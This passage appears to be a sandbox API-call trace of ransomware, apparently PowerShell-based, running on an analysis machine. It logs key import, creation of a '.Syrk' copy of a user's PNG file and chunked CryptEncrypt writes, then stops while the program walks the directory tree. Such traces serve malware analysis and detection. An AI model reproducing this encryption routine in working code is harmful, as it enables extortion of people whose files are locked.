(param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0189.507] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.507] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0189.507] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0189.507] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.507] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0189.507] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.507] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0189.507] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0189.507] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.507] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0189.507] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.508] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0189.508] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0189.508] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.508] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0189.508] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.508] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0189.508] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0189.508] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.508] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0189.508] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.508] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0189.508] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0189.508] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.508] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0189.508] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.509] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.509] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.509] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.509] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0189.509] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.509] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0189.509] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.509] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0189.509] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0189.509] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.509] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0189.509] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.510] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0189.510] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0189.510] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.510] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0189.510] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.510] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0189.510] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0189.510] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.510] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0189.510] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.510] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0189.510] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0189.510] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.510] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0189.510] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.510] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0189.511] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0189.511] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.511] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0189.511] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.511] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0189.511] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0189.511] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.511] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0189.511] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.511] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0189.511] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0189.511] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.511] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0189.511] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.511] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0189.512] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.512] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0189.512] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0189.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0189.512] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.512] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0189.512] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0189.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0189.512] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.513] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0189.513] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0189.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0189.513] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.513] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0189.513] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.513] EtwEventActivityIdControl () returned 0x0 [0189.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0189.513] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.514] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0189.514] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0189.515] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x373700) returned 1 [0189.518] CryptImportKey (in: hProv=0x373700, pbData=0x2377a4c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68fc0) returned 1 [0189.624] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.625] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.625] EtwEventActivityIdControl () returned 0x0 [0189.625] EtwEventActivityIdControl () returned 0x0 [0189.625] EtwEventActivityIdControl () returned 0x0 [0189.631] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 0x20 [0189.633] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 0x20 [0189.633] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.633] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0189.634] EtwEventActivityIdControl () returned 0x0 [0189.634] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.635] EtwEventActivityIdControl () returned 0x0 [0189.635] EtwEventActivityIdControl () returned 0x0 [0189.635] EtwEventActivityIdControl () returned 0x0 [0189.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.638] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0189.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0189.639] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ac [0189.639] GetFileType (hFile=0x3ac) returned 0x1 [0189.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0189.639] GetFileType (hFile=0x3ac) returned 0x1 [0189.639] EtwEventActivityIdControl () returned 0x0 [0189.640] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.640] EtwEventActivityIdControl () returned 0x0 [0189.640] EtwEventActivityIdControl () returned 0x0 [0189.640] EtwEventActivityIdControl () returned 0x0 [0189.641] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0189.641] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk", lpFilePart=0x0) returned 0x44 [0189.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0189.641] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460 [0189.645] GetFileType (hFile=0x460) returned 0x1 [0189.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0189.645] GetFileType (hFile=0x460) returned 0x1 [0189.645] EtwEventActivityIdControl () returned 0x0 [0189.645] CryptGenRandom (in: hProv=0x373700, dwLen=0x10, pbBuffer=0x238a2e0 | out: pbBuffer=0x238a2e0) returned 1 [0189.646] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.646] CryptDuplicateKey (in: hKey=0x5c68fc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c69140) returned 1 [0189.646] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.646] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x4, pbData=0x238b6fc*=0x1, dwFlags=0x0) returned 1 [0189.646] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x1, pbData=0x238b6c8, dwFlags=0x0) returned 1 [0189.647] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.647] EtwEventActivityIdControl () returned 0x0 [0189.647] EtwEventActivityIdControl () returned 0x0 [0189.647] EtwEventActivityIdControl () returned 0x0 [0189.648] EtwEventActivityIdControl () returned 0x0 [0189.648] ReadFile (in: hFile=0x3ac, lpBuffer=0x238e370, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x238e370*, lpNumberOfBytesRead=0x5a2ea0c*=0xfc61, lpOverlapped=0x0) returned 1 [0189.650] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a2388*, pdwDataLen=0x5a2ea00*=0xfc60, dwBufLen=0xfc60 | out: pbData=0x23a2388*, pdwDataLen=0x5a2ea00*=0xfc60) returned 1 [0189.651] WriteFile (in: hFile=0x460, lpBuffer=0x238a40c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x238a40c*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0189.653] WriteFile (in: hFile=0x460, lpBuffer=0x23a3374*, nNumberOfBytesToWrite=0xec74, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x23a3374*, lpNumberOfBytesWritten=0x5a2e9e4*=0xec74, lpOverlapped=0x0) returned 1 [0189.654] ReadFile (in: hFile=0x3ac, lpBuffer=0x238e370, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x238e370*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0189.654] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b2044*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x23b2044*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0189.654] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23b2060*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x23b2060*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0189.654] WriteFile (in: hFile=0x460, lpBuffer=0x238a40c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x238a40c*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0189.654] CloseHandle (hObject=0x460) returned 1 [0189.658] CloseHandle (hObject=0x3ac) returned 1 [0189.678] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.679] EtwEventActivityIdControl () returned 0x0 [0189.679] EtwEventActivityIdControl () returned 0x0 [0189.679] EtwEventActivityIdControl () returned 0x0 [0189.685] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 0x20 [0189.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0189.688] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0189.688] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0189.688] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0189.689] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0189.689] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0189.689] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0189.689] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0189.689] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0189.689] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0189.689] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0189.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0189.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0189.690] GetFileAttributesW 